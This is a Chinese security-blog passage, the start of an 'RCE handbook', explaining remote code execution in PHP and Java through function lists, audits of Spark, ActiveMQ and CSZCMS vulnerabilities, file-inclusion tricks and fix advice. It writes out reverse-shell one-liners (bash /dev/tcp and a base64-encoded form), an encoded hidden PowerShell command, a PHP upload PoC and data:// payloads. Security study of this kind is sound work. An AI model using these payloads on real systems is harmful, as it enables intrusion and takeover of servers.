RCE宝典重磅回归!全面升级你的知识库!

文摘   2024-05-06 13:45   北京  


前言


ZAC安全

#2024#

    免责声明:本文中所有漏洞均已修复或已在公网公开,请勿利用文章内的相关技术从事非法测试,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。

    本文可自行转载,但转载需要在清晰的地方标明出处及作者

    如果有相关对本文的修改意见,请添加本人微信zacaq999交流,也欢迎各位师傅投稿相关技术文章来免费加入知识星球,本文pdf版可进星球自取。

目录

1 基础概念

     1.1 SHELL符号使用   

     1.2 环境配置

2 常规下RCE

  2.1 基础RCE

    2.1.1 PHP基础命令/代码执行函数 

    2.1.2 PHP基础RCE案例

    2.1.3 JAVA基础命令/代码执行函数

    2.1.4 JAVA基础RCE案例

    2.1.5 PHP与JAVA命令执行的区别

    2.1.6 修复/预防方案

     2.2任意文件写入RCE

       2.2.1 PHP任意文件写入方式

       2.2.2 PHP任意文件写入RCE案例

       2.2.3 JAVA任意文件写入方式

       2.2.4 JAVA任意文件写入RCE案例

       2.2.5 修复/预防方案

     2.3文件上传导致RCE

       2.3.1 PHP文件上传方式

       2.3.2 PHP文件上传案例

       2.3.3 JAVA文件上传方式

       2.3.4 JAVA文件上传案例

       2.3.5 修复/预防方案

     2.4 文件包含导致RCE

          2.4.1 PHP本地文件包含

          2.4.2 PHP 远程文件包含+PHP伪协议

       2.4.3 PHP文件包含+伪协议+文件编码特殊RCE

          2.4.4PHP文件包含案例

          2.4.5 JAVA文件包含方式

          2.4.6 JAVA文件包含案例

          2.4.7 修复/预防方案

     2.5 SSTI注入导致RCE

          2.5.1 PHP SSTI注入

          2.5.2 PHP SSTI注入案例

          2.5.3 JAVA SSTI注入

          2.5.4 JAVA SSTI注入案例

          2.5.6 修复/预防方案

     2.6反序列化导致RCE

          2.6.1 PHP反序列化

          2.6.2 PHP反序列化进阶(PHAR)

          2.6.3 PHP反序列化案例

          2.6.4 JAVA反序列化

          2.6.5 JAVA反序列化案例

          2.6.6 修复/预防方案

     2.7 缓冲区溢出导致RCE

          2.7.1 缓冲区溢出基础方式

           2,7,2 缓冲区溢出RCE案例

3 不同语言独有的RCE

     3.1 (SQL语句)SQL注入导致RCE

          3.1.1 DBA权限+绝对路径(通用)

          3.1.2 SQLserver xp_cmdshell

          3.1.3 H2数据库RCE

          3.1.4 PostgreSQL数据库RCE

     3.2 (JAVAscript)XSS注入导致RCE

          3.2.1 XSS通过特殊配置RCE

          3.2.2 XSS配合CSRF升级成RCE

     3.3 (JAVA) 表达式注入

       3.3.1 表达式注入(SPEL)

       3.3.2表达式注入(OGNL)

     3.4(JAVA)JNDI注入导致RCE

          3.4.1 JNDI注入+RMI

          3.4.2 JNDI注入+LDAP

     3.5 (PHP)环境变量注入RCE

          3.5.1 环境变量注入(LD_PRELOAD)

          3.5.2 环境变量注入(特殊环境下环境变量可控与不可控的命令执行)

     3.6 (JAVAscript)原型链污染RCE

     3.7 (python)反序列化RCE

     3.8(xml) XXE注入导致RCE

     3.9(JAVA)JDBC反序列化导致RCE

          3.9.1 mysql JDBC

          3.9.2 postgresql JDBC

4 特殊情况下的RCE

     4.1 redis未授权RCE

          4.1.1 redisRCE(WINDOWS)

          4.1.2 redisRCE(LINUX)
后记及致谢


1

01

基础概念

1.1 shell符号使用

    “在计算机安全中,任意代码执行(RCE)是攻击者在目标机器或目标进程中运行攻击者选择的任何命令或代码的能力。任意代码执行漏洞是软件或硬件中允许任意代码执行的安全漏洞。设计来利用这种漏洞的程序被称为任意代码执行漏洞。通过网络(特别是通过Internet等广域网)触发任意代码执行的能力通常被称为远程代码执行(RCE)”


(https://en.wikipedia.org/wiki/Arbitrary_code_execution)


    简单来说就是,你可以通过一些安全漏洞来执行目标计算机的命令,这叫做RCE。在执行命令当中,我们会用到很多的shell符号,符号的用法如下:


cmd1 | cmd2 只执行cmd2 cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行 cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2 cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

    Linux中支持分号进行拼接执行

  cmd1 ; cmd2 

    php当中支持反引号进行拼接执行

`whoami`


1.2 环境配置

    如无特殊说明,本文所使用的环境均为以下配置

LinuxCentos 7WindowsPHPSTUDY v8.1PHP 7.3.4MYSQL8.0.12

    安装过程:

    访问小皮官网 https://www.xp.cn/

    找到windows下载地址

    下载完成后打开压缩包,并运行phpstudy_x64_8.1.1.3.exe


    安装后直接打开Apache2.4.39 默认php版本即为7.3.4(其他php版本可以从官网下载)



2

02

常规下RCE

    本模块讲解常规情况下可以造成RCE的方式,也是基本所有语言的通用造成RCE的点。

2.1 基础RCE

2.1.1 PHP基础命令/代码执行函数

    该方式最为常见,也是最为经典的方式,开发者因为没有对命令执行函数进行过滤,导致用户可以恶意传参造成的RCE。

    PHP下直接执行系统命令的函数如下:

    1 exec

   用于执行一个外部命令。它只返回命令的最后一行输出。可以通过一个可选的参数来获取命令的所有输出。还可以通过另一个可选的参数来获取命令的返回状态

    2 shell_exec

   同样用于执行外部命令。会返回命令的完整输出作为一个字符串。不提供命令的返回状态。

    3 system

   也是用于执行外部命令。它会立即显示输出(适合用于产生大量输出的命令)。返回命令的最后一行输出。可以通过一个可选的参数来获取命令的返回状态。

    4 passthru

   用于执行外部命令,并直接将原始输出传递给浏览器。常用于执行二进制文件或者需要直接传递数据流的情况(例如,输出图像或音频流)。不返回任何输出,但可以通过一个可选的参数来获取命令的返回状态。

    5 反引号

    一种简便的语法,用于在PHP代码中直接执行外部命令。类似于shell_exec,会捕获并返回命令的完整输出。

    6 popen

   用于打开一个到外部命令的管道。允许你与外部命令进行读或写操作(但不同时支持两者)。返回一个文件指针,可用于进一步的 fread 或 fwrite 操作。使用 pclose 来关闭管道并获取命令的退出状态。

    7 ob_start

    ob_start() 是 PHP 的一个函数,用于开启输出缓冲。这意味着脚本的输出(如 echo)不会立即发送到浏览器,而是存储在内部缓冲区中。这允许在输出发送到浏览器前对其进行修改。使用 ob_end_flush() 来发送缓冲区内容至浏览器。


    执行php代码的命令如下

    1 eval

   用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。

    2 assert

   用于测试一个表达式是否为真。如果表达式为假,会抛出一个警告或异常(取决于 PHP 配置)。通常用于调试和测试目的。

    这个较为特殊,在php8已经被移除了,所以这里用官方的介绍

“assert(mixed$assertion, Throwable|string|null $description = null): bool

   “assertion可以是任何带返回值的表达式,运行后的结果用于表示断言成功还是失败。警告在 PHP 8.0.0 之前,如果assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。”

    3 call_user_func

   用于调用一个回调函数,该函数可以是一个函数名或闭包。可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调用。

    4 create_function

    用于创建匿名(lambda-style)函数。接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。

    assert,已在php7.2弃用,php8.0被移除

    5 array_map

    用于将回调函数应用于数组的每个元素。接受一个回调函数和一个或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组元素。

    6 call_user_func_array

    用于调用回调函数,并将参数作为数组传递。接受两个参数:回调函数和参数数组。返回回调函数的返回值。适用于动态参数数量的函数调用。

    7 usort

    用于对数组进行自定义排序,接受数组和比较函数作为参数。

    比较函数确定元素间的排序顺序,排序后的数组不保留原始键名。

    适用于根据用户定义的规则排序数组元素。

    8 array_filter

    用于过滤数组元素,接受数组和可选的回调函数作为参数。

    如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。

    适用于基于条件移除数组中的元素。

    9 array_reduce

    用于迭代一个数组,并通过回调函数将数组的元素逐一减少到单一值。

    接受三个参数:一个数组、一个回调函数和一个可选的初始值。

    回调函数接受两个参数:一个是携带结果的累加器,另一个是当前数组元素。返回通过累加器得到的最终值。 

    10 preg_replace

    用于执行正则表达式的搜索和替换。

    接受三个参数:模式(正则表达式)、替换值和目标字符串。

    可以是单个字符串或数组。返回修改后的字符串或数组。适用于基于模式匹配修改文本内容。(/e的代码执行版本在5.6版本后被移除)

    11 $符号

    PHP 中,${} 语法本质上是用于复杂的变量解析,通常在字符串内用来解析变量或表达式。然而,在一些特殊情况下,如果配合 eval 或其他动态执行代码的功能,${} 可以被用来间接执行代码。




3.1.2 PHP基础RCE案例

    之前跟有位师傅聊天,他给我了一个rce

    找他要了份源码进行审计

    到手的那一刻有点懵,如下

1 exec中写死了,不可控

2 cmd写死了,并且没有找到传参的地方

3 popen执行的cmd,在本文件中是写死的两个不可控的

    那么是如何rce的?

    我注意到了popen执行的cmd,虽然是写死的,但是在11和12行中的if else语句中,只有else if,并没有else,那么type假设不是1或2配合着全局变量即可造成rce。

    那么全局在哪呢?第二行include了一个json文件如下:

    我们把这3,4行拎出来单独debug

    如下

    下面均为cmd.php中的代码

    开始debug,打上断点,访问

    http://localhost/index.php?cmd=whoami

    我们可以看到global中的get参数是我们的命令,也就是cmd

    因为$type没有赋值,所以可以看到这里的cmd并没有被强行改变,依旧是whoami

    进入到popen语句

    最后在while语句中输出

    成功RCE

2.1.3 JAVA基础命令/代码执行函数

    JAVA下直接执行系统命令的函数如下

    1 Runtime.getRuntime().exec

    但与php不同的是,java会将其中的参数当成一整个字符串来执行,而不会受到shell符号的影响,如图。在2.1.5中会详细解析

    并且这里要注意

    Runtime.exec类型的RCE如果要反弹shell需要特殊处理:

    原命令:

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

    处理后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

    对于powershell应该是:

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==

    否则无法成功反弹shell

    2 ProcessBuilder

    这个函数与Runtime.getRuntime().exec区别在于它是传参更加方便,并且它允许更精细的控制进程的创建,包括环境变量的设置、工作目录的改变以及更复杂的输入输出处理。但总体来说其实与Runtime.getRuntime().exec的区别不是很大

    Java代码执行

    其实代码执行就相当于字节码的执行,这里简单写个例子

    然后使用javac  test.java编译成字节码文件

    使用这段代码来base64编码一下

import java.io.*;import java.util.Base64;   public class compile {        public static void main(String[] args) throws IOException {      File file = new File("E://审计//untitled//src//test.class");      FileInputStream fis = new FileInputStream(file);              ByteArrayOutputStream baos = new ByteArrayOutputStream();              byte[] buf = new byte[1024];              int n;              while ((n = fis.read(buf)) != -1) {                    baos.write(buf, 0, n);        }              fis.close();              byte[] classBytes = baos.toByteArray();              String base64 = Base64.getEncoder().encodeToString(classBytes);              System.out.println(base64);        }}

    然后使用这段代码来解码base64后,使用我们自定义的类加载器执行我们的字节码,可以看到成功的执行了calc弹出计算器

import java.util.Base64; public class Excute {      public static void main(String[] args) throws Exception {            final String base64ClassString = "base64后的字节码";            final byte[] classBytes = Base64.getDecoder().decode(base64ClassString);            ClassLoader customClassLoader = new ClassLoader() {                  @Override                  protected Class<?> findClass(String name) throws ClassNotFoundException {                        if ("Test".equals(name)) {                              return defineClass(name, classBytes, 0, classBytes.length);                          }                          return super.findClass(name);                  }            };            // 使用自定义的类加载器来加载我们的Test类            Class<?> clazz = Class.forName("test", true, customClassLoader);            Object instance = clazz.getDeclaredConstructor().newInstance();      }}

    也可以用反射去调用更底层的方法

    在低版本JDK8里自带BCEL ClassLoader直接执行代码:

com.sun.org.apache.bcel.internal.util.ClassLoader

2.1.4 JAVA基础RCE案例

    选用CVE-2023-32007作为案例

    环境配备

https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz

    给bin目录加权限

    chmod -R +x bin

    因为需要开启ACl

    所以启动服务需要./spark-shell --conf spark.acls.enable=true

    访问地址

    发包

/jobs/?doAs=`echo%201%20>%20/home/1.txt`

    可以看到成功写入文件

    下载未编译的漏洞源码

https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1.tgz

    审计分析

    入口点在core\src\main\scala\org\apache\spark\ui\HttpSecurityFilter.scala

    通过60行获取到我们传参doAs,然后判断是否是管理员权限,将参数requestUser放到checkAdminPermissions函数中


    跟进isUserInACL,判断条件

    如果 user为null ,

    没有开启acl,

    aclUsers包含了WILDCARD_ACL,user,

    aclGroups包含了WILDCARD_ACL

    即返回true,但显而易见所有条件都不满足,所以会进到else

    跟进getCurrentUserGroups,发现我们的username值进入了getGroups,所以继续跟进其中

  在getGroups中将username传进了getUnixGroups,而在该函数中使用executeAndGetOutput执行命令

    追本溯源,继续跟进,发现我们的参数传递到了executeCommand中

    最终在ProcessBuilder中执行我们的命令

2.1.5 php与java命令执行的区别

    从这里下载php的源码

https://www.php.net/releases/

    这里下的是7.3.4

    PHP中,定义函数是PHP_FUNCTION(XXX)

    这里选用system来进行解析,全局搜索PHP_FUNCTION(system)

    找到定义php_exec_ex的地方,定义了几个局部变量:

    cmd 用于存储要执行的命令,

    cmd_len 是命令长度

    ret_code 用于存储命令的返回状态码

    ret_array 用于存储命令的输出(如果有的话)

    ret 用于存储 php_exec 函数的返回结果。

    224和228行判断了字符串长度是否为0,是否有NULL,如果有的话就退出。然后将参数传递给php_exec并解析,进入php_exec

    前面都是一些定义,重点在113-116行,根据平台差异,使用 VCWD_POPEN 执行命令。Windows平台下以二进制模式打开,其他平台以文本模式打开。

    跟进VCMD_POPEN

    跟进virtual_popen,可以发现如果是windows就进入popen_ex。如果是Unix等其他系统,就在下面还有定义,先跟进windows,进入popen_ex

    一点点解析,定义完初始值后,判断type 参数的长度是不是1或2,如果不是的话返回 NULL。这是因为 type 参数通常是 "r"、"w" 或者加上 "b" 表示二进制模式。

    遍历 type 字符串,确保每个字符都是 'r'、'w'、'b' 或 't' 中的一个。

    然后开始分配内存,用户的命令字符串,解释器路径的长度cmd.exe,sizeof(" /c "): 计算包括空格、/c 和一个空格的字符串的大小,加上终止的空字符。最后的+2是提供额外的空间来确保有足够的空间存放字符串的终止空字符以及可能的额外字符(如引号)。

    其中TWG宏定义如下,使用了TSRMG_STATIC宏来访问与Windows相关的全局变量。这里的 win32_globals_id 是一个全局变量或资源的标识符

    其中comspec就是 cmd.exe

    那么回到popen_ex函数中,分配完空间后在489行格式化字符串,因为我们知道了TWG(comspec)是硬编码成cmd.exe的,所以格式是cmd.exe /c 命令),在490行中使用php_win32_cp_any_to_w将字符串转成宽字符版本


    再往下走,在563-567行中,根据asuser,使用CreateProcessAsUserW 或 CreateProcessW 创建进程最终执行命令。

    那么好,我们来分析java的,在jdk中有个src压缩包,直接解压即可获得源码


    打开java,我们分析最为常用的Runtime.getRuntime().exec,在java/lang.Runtime.java文件中,找到exec函数,其中有三个重载版本,我们依次来说,这里很简单直接进行调用。

    在这里判断了是否是空的命令,如果为空直接退出,然后进行分割,分割后组合代码成数组中

    分割代码如下,使用这些符号来进行切割字符串,比如命令ls -l就会分割成ls 和 -l

    继续跟进第三个版本,获取到刚刚的数组,进入ProcessBuilder类中的start函数

    进入函数内部。前面保证了命令必须是数组,然后遍历cmdarray数组,检查命令或参数中是否包含无效的空字符\u0000,包含就抛出异常,进入ProcessImpl.start

    前面进行了一些初始化,然后在139行创造了一个新的ProcessImpl

    跟进,发现最终的参数转入create函数中


    跟进发现是native函数

    而java更底层的需要下源码

https://github.com/openjdk/jdk8/

    我这里下载的是

https://codeload.github.com/openjdk/jdk8/zip/refs/tags/jdk8-b132

    而create具体实现是在jdk\src\windows\native\java\lang\ProcessImpl_md.c中

    定位函数,Jni的命名规范为

    前缀Java

    完全的类名和包名,以_分割

    方法名

    方法名后面跟上_

    直接定位到Java_java_lang_ProcessImpl_create,初始化后进入processCreate中

    跟进

    经过前面的定义后,使用CreateProcessW进行解析并执行命令,至此整体流程结束

    而两者分析完后不难发现,php中的函数system等之所以可以进行 system(whoami|echo 1)这样的管道符拼接,是因为在CreateProcessW前,硬编码了cmd.exe /c “whoami|echo 1”。而java当中在windows下是没有进行硬编码的,CreateProcessW这个API是没有解析& | ;等符号功能的,所以自然也就无法进行拼接RCE了。

    本文只进行了windows下的分析,linux下各位师傅如果有兴趣可以自己分析看看

2.1.6 修复/预防方案

    使用安全的过滤函数例如escapeshellarg或escapeshellcmd

    也可以使用白名单命令

    还有正则,只允许字母和数字

    而java当中没有php的安全函数,但他本身的命令传参就会防止特殊符号。所以用正则进行控制即可

String userInput = ...; // 从用户或外部源获取的输入if (!userInput.matches("[a-zA-Z0-9]+")) {throw new IllegalArgumentException("不合法的输入");}

2.2 任意文件写入导致RCE

    任意文件写入漏洞(Arbitrary File Write Vulnerability),它允许攻击者将数据写入服务器上的文件,甚至创建新文件。这种漏洞通常发生在应用程序不正确地处理文件写入操作时。

2.2.1 PHP任意文件写入方式

    1 file_put_contents

    这个函数用于简单地将一个字符串写入文件,如果文件不存在会尝试创建它。它是一个高级别的操作,相当于依次调用 fopen, fwrite, 和 fclose。可以指定标志来决定是否追加数据到文件或者是覆盖原有的数据。适用于快速简单地写入数据到文件。

    2 fwrite/fputs

    fwrite与fputs函数用法完全相同

    这个函数用于向一个打开的文件流(例如通过 fopen 获得的资源)写入数据。需要更细粒度的控制文件操作时(例如,持续写入数据到同一个文件),fwrite 更加适用。用于写入数据之前,必须先用 fopen 打开文件并获得文件指针。

    3 fprintf

    类似于 fwrite,但它提供了格式化功能,类似于 printf 函数。允许你按照特定的格式将数据写入到文件流。同样需要一个通过 fopen 打开的文件指针。适用于需要按照特定格式写入数据的场景。

2.2.2 PHP任意文件写入RCE案例

    拿到某设备源码,全局搜索fwrite函数

    可以看到10218行里使用了该函数,写入$buff数据到$out文件,然后就是分别溯源这两个参数看是否可控,先是$buff,可以看到两种方式,一种是fopen直接获取用户的参数,另一种是通过php伪协议。

    然后就是$out,从10167行获取到name参数,赋值给fileName,然后拼接到filePath,然后会给chunk一次三目运算,紧接着就是拼到了out,但是我们可以看到,out的后缀名是写死的.parttmp,

    此时的后缀名不是我们预想的php,那该如何呢,继续往下审计,我们可以看到10222行这里给rname了一下重命名为两个拼接变量.part

    这里有一个pathinfo函数,其中的变量刚好是我们的filename,Pathinfo就是以数组的形式返回路径信息,可以看到在10235行获取到了后缀名

    然后10234先是md5随机生成了一个hashstr,然后拼接到了hashname中,并且还拼接了后缀名,也就是我们开始给的name参数后缀,然后将hashname和uploaddir拼接到了uploadpath

    buff和out均可控,并且out文件拼接的是uploadpath,而这个参数的后缀刚好是php,于是成功写入

    因为是tp框架,就不需要找路由方式了

    然后我们即可构造poc如下:

POST /XXX/index.php/Admin/index/web_upload_templateHTTP/1.1XXXXXXXXXContent-Type: multipart/form-data; boundary=---------------------------41184676334Content-Length: 222-----------------------------41184676334Content-Disposition: form-data; name="file"; filename="test.php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------41184676334--

    成功RCE

2.2.3 JAVA任意文件写入方式

    JAVA当中可以写入文件的函数如下

    1 FileOutputStream

    FileOutputStream 是一个用于写入字节到文件的输出流类。它直接写入字节,因此非常适合处理二进制数据,如图像和音频文件。它直接与底层操作系统的文件写入机制交互,没有内置的缓冲机制。

    2 BufferedOutputStream

    BufferedOutputStream 是 OutputStream 的一个子类,它添加了缓冲功能。这意味着数据首先被写入到内存缓冲区,当缓冲区满时,数据才会写入文件。这可以提高文件写入的效率,特别是在多次写入小量数据的场景中。

    3 FileWriter

    FileWriter 用于写入字符数据到文件。它是写入文本数据的便捷方式,特别是当数据是字符串时。它直接将字符数据转换为字节,并写入到文件中。因此,它更适合处理文本数据。FileWriter 基于默认的字符编码。要指定不同的编码,可能需要使用 OutputStreamWriter 与 FileOutputStream 的组合。

    4 Files.write

    Files.write是Java NIO包中的一个高级方法,用于以简单、直接的方式将字节序列写入文件。它自动处理文件的打开和关闭,避免了手动管理底层资源。内部实现上,Files.write提供了缓冲机制,能够有效提升写入性能,适用于写入文本或二进制数据。此方法支持一次性写入所有内容,使得文件操作既高效又易于使用。

2.2.4 JAVA任意文件写入RCE案例

    这里使用activemq的任意文件写入来作为案例(CVE-2016-3088)

    复现过程:

    ActiveMQ的FileServer允许用户通过PUT方法上传文件到指定目录(但此目录没有执行权限),同时处理HTTP MOVE方法的代码没有对目的路径做过滤,因此,可以通过PUT请求上传一个webshell,然后再通过MOVE方法将webshell移动至有执行权限的目录中。

    漏洞复现:

1.新建docker-compose.yml,内容如下。

version: '2'services:activemq:image: vulhub/activemq:5.11.1-with-cronports:- "61616:61616"- "8161:8161"

2.在docker-compose.yml目录下使用docker compose build 命令构建,后使用docker compose up -d 启动环境

    3.访问http://localhost:8161/ ,表示环境启动成功

    用PUT方法上传webshell




    分析过程

    下载源码

https://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip

    RestFilter.java文件中,编写了put处理方式,先检测了访问的用户是否有权限,判断写入的文件是否存在,如果存在就删除。然后使用FileOutputStream进行写入,最后返回204不设置回显


    其中对于路径的定位在jetty.xml

    在doMove函数中定义了move请求的处理方式,也是先检测有没有权限,然后获取需要移动的文件地址,尝试将文件移动到目标位置。首先,将目的地字符串转换为URL对象,使用一个IOHelper.copy将文件复制到目标位置,随后删除原文件。



2.2.5 修复/预防方案

    Php:

    可以使用安全过滤函数,禁止写入敏感代码,例如strip_tags可以移除php标签

    还有以下方式

    路径验证:在应用程序中对文件路径进行验证,确保用户提供的文件路径是受信任且合法的。不要直接使用用户提供的路径来写入文件,而是应该使用相对路径或者将用户提供的路径与预定义的安全路径进行组合。 

    权限控制:确保应用程序以最低权限执行,限制其对文件系统的写入权限。在操作系统级别,确保文件系统权限设置正确,应用程序只能写入其必要的目录,并且仅有必要的权限。 

    文件名随机化:在写入文件时,使用随机生成的文件名而不是用户提供的文件名。这可以防止攻击者直接访问写入的文件。 

    白名单验证:对于涉及到写入文件的操作,应该使用白名单验证来限制写入的文件类型和目录。只允许应用程序写入预定义的安全目录,并且只允许写入特定类型的文件。 

2.3 文件上传导致RCE

    文件上传漏洞(File Upload Vulnearability),通常发生在Web应用程序中,尤其是那些允许用户上传文件的地方。这种漏洞的本质在于,应用程序在处理上传的文件时没有充分验证或限制,从而允许攻击者上传恶意文件。

2.3.1 PHP文件上传方式

    PHP下可直接上传文件的函数如下

    1 move_uploaded_file

    php只有这个函数负责文件上传,

    用法如下

    move_uploaded_file(string$from, string $to): bool

    $from上传的文件的文件名。$to移动文件到这个位置。


2.3.2 PHP文件上传案例

    官网

https://www.cszcms.com/product/download

    下载地址

https://jaist.dl.sourceforge.net/project/cszcms/install/CSZCMS-V1.3.0.zip

    安装过程

    访问web目录,然后填下下面的表

    登录后台


    然后进入maintenance System中,选择文件进行上传

    此时写一个test.php,然后压缩成.zip格式

    上传成功

    访问目录下的test.php,成功RCE

    PS: 因为笔者是黑盒复现完就立马审了,本文是边审边写的,所以一些例如临时文件名和随机数可能会上下文不一致,但不会影响审计逻辑与阅读

下面是代审环节,通过路由定位到install函数,在do_upload函数前,是一些检测语句,比如194行判断是否登录,202行判断上传的是否是压缩包

    进入到211行do_upload函数中,先是在405行判断了下路径是否能上传,然后412行判断文件是否可以上传

    在do_upload函数中继续往下跟,一些平常的赋值与正常的判断,获取了文件名与后缀

    再往下走就可以看到上传点,这里是先用copy函数将存储的临时文件复制到正常的上传目录,如果不行的话再用move_uploaded_file进行上传

    出来后,跟着逻辑往下走,进入到217行unzip->extract进行解压

    然后进入到84行_list_files

    在_list_files函数中,208行打开该压缩包,并进行

    然后进入到216行_load_file_list_by_eof函数,在404行获取到了压缩包的文件名


    然后回到上级函数,将compressed_list里面的参数继续return回去

    这里有个循环,判断压缩包里的文件

    继续往下走,进入到_extract_file函数中,其中用刚刚的compressed_file_name赋值给了$fdetails


    往下走进入到_uncompress函数中

    判断mode为8,通过三目运算符判断有值,即用file_put_contents写入文件

    最后return回去文件地址

    成功在web目录下写入

2.3.3 JAVA任意文件上传方式

    JSP下进行上传文件的代码如下


2.3.4 JAVA任意文件上传案例

    我这里选用之前交EDU的一个案例,在注册页面将参数student改成teacher


    注册后进入后台,新建一个管理员,然后进来即为管理员身份


    找到上传点进行上传

    没有对内容过滤,但是只能上传白名单的文件

    在另一个模块找到了一个新的上传点,可以从服务器上选取文件上传,然后找到刚刚上传的图片马


    发现可以 后缀名并且成功解析代码


    漏洞分析

   先分析注册的,在REgisterController中的registerStuUser函数中,判断了ROLE_ID是students还是teacher,没有其他任何判断,仅仅只接受传参然后进入语句当中,所以改ROLE_ID为teacher即可

    分析第一次上传(图片马)

    经过检测后,创建FileOutputStream以写入文件,然后通过BufferedInputStream读取输入流,并将其写入到服务器上的文件中

    第二次上传(rce)

    传过来三个参数path,dir,fileName,并且可以看到246行有一个Tools.copyFile函数,其中的参数我们均可控,那么我们就可以进到Tools中的copyFile函数中

    传进的一个oldPath和newPath,先判断了历史路径文件存不存在,如果存在就进入if语句中,并写入到新路径,全程可以看到无过滤

    所以就按正常的包构造即可,旧路径不动,只需要把新文件名改个后缀,这样旧文件中的数据就会写入到新文件新路径当中

2.3.5 修复/预防方案

    白名单验证:仅允许上传已知安全的文件类型,例如图片文件(jpg, png等),并拒绝所有其他类型的文件。这要求系统能够验证文件的真实类型,而不仅仅是依赖文件扩展名。 

    文件类型检测:通过检测文件的MIME类型或者文件内容的特定标识(如图片文件的头信息)来判断文件类型,而不是仅仅依赖于文件的扩展名。(不推荐,容易绕过)

    文件内容扫描:使用病毒扫描工具扫描所有上传的文件,以识别和阻止恶意软件或脚本的上传。

    设置文件上传大小限制:限制可上传文件的大小,减少攻击者上传大型恶意文件的机会。(不推荐,部分木马内存较小)

    文件存储隔离:不要将上传的文件存储在执行脚本的目录下,避免恶意脚本被服务器执行。可以将文件存储在非Web根目录下,并通过安全的方式提供文件访问(例如,通过脚本读取文件内容并输出,而不是直接通过URL访问)。

    重命名上传文件:为上传的文件重新命名(例如,使用UUID或其他随机字符串),避免直接使用用户提供的文件名,这样可以防止目录遍历攻击和文件覆盖攻击

    设置强制访问控制:确保文件上传功能只对信任的用户开放,并对用户进行身份验证和授权。

2.4 文件包含导致RCE

    文件包含漏洞允许攻击者将服务器上的文件包含到输出页面中,或者包含远程文件,从而执行恶意代码。主要分为两种类型:本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。

2.4.1 PHP本地文件包含(LFI)

    众所周知,php的代码要执行的话,需要后缀名为php。但php当中关于文件包含的函数就可以在文件名为.txt等其他不同后缀的情况下,执行php代码。

可以看到 利用include 和 require两个函数,同时包含1.txt,成功的输出了两次test字符。这两个函数的区别在于,如果include包含一个不存在的文件只会警告,而require会直接停止运行。还有两个函数为include_once和require_once,这两个函数与本身的区别在于,如果已经包含过了目标则不会包含

    如果目标文件不是php代码,则会直接输出目标文件内容

2.4.2 PHP 远程文件包含(RFI)+PHP伪协议

    而php当中还有远程文件包含(RFI),在实战中,利用php伪协议的配合会有更多的进攻方向与思路。

    而要使用远程文件包含需要目标环境

allow_url_fopen = Onallow_url_include = On

    这两个参数需要在php.ini单独设置,在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off,所以需要我们手动从Off改成On

    开启之后我们就可以进行利用了,一般来说,实战当中大部分都是文件包含配合php://input或data://进行RCE的

    先来演示下php://input

    Php://可以将post中的数据当成php的代码来执行,如下图即可成功RCE

    还有data协议,与php://input类似

data:text/plain,<?php%20phpinfo();data://text/plain,<?php%20phpinfo();?>

2.4.3 PHP文件包含+伪协议+文件编码特殊RCE

    2021年的hxp CTF有一道题 “includer’s revenge”,原题链接如下


链接:https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/("includer's revenge" (ctf.link))<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

    作者解题脚本如下

链接:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d(Solving "includer's revenge" from hxp ctf 2021 without controlling any files · GitHub)

    国内解析文章如下

链接:https://tttang.com/archive/1395/(hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com))ttps://tttang.com/archive/1395/

    从标题我们就可以看出来这是一个关于文件包含的CTF题,而解题思路也很巧妙,利用的是php伪协议和编码,php中有一个伪协议很常见也很好用就是filter,语法如下

    php://filter/过滤器|过滤器/resource=待过滤的数据流

    这个过滤器我们也可以理解为使用XX编码,我们先复现一下然后再来解释原理

    复现过程很简单,生成一个文件(漏洞文件)

<?php    include $_GET['zac'];?>

    然后打入poc就可以发现,我们神奇的RCE了

    单纯一个include即可RCE的话,大部分人应该想到的都是开启了allow_url_fopen(一直默认开启) 和 allow_url_include(php5.2之后默认关闭),然后poc应该是?zac=php://input,然后抓包发post数据写马,但实际上的环境并没有开启allow_url_include

    那我们现在就来解析一下原理,我们都知道base64的合法字符除了26个英文字母和数字,只有+ =和/三个符号,然后每四个字符为一组,不满三个字符用0填充,对于伪协议的编码可以参考p牛写的文章

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)链接:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    而在这个demo当中,我们使用base64独特的特性以及iconv编码的多样性,可以让任意文件编码成我们需要的php代码格式,然后再进行include包含达到RCE的目的

    通过zedd师傅分析,我们可以发现某些编码会让被编码字符前生成一些字符,用案例中最典型的convert.iconv.UTF8.CSISO2022KR来示例

    这里插一句,因为之前的理解有问题,我一直以为编码会让整个文件编码,也就是文件会在编码后源文件不见了,然后换一个文件可能又是另一种了,比如windows下

    UTF-16.UTF-7生成了一大堆字符

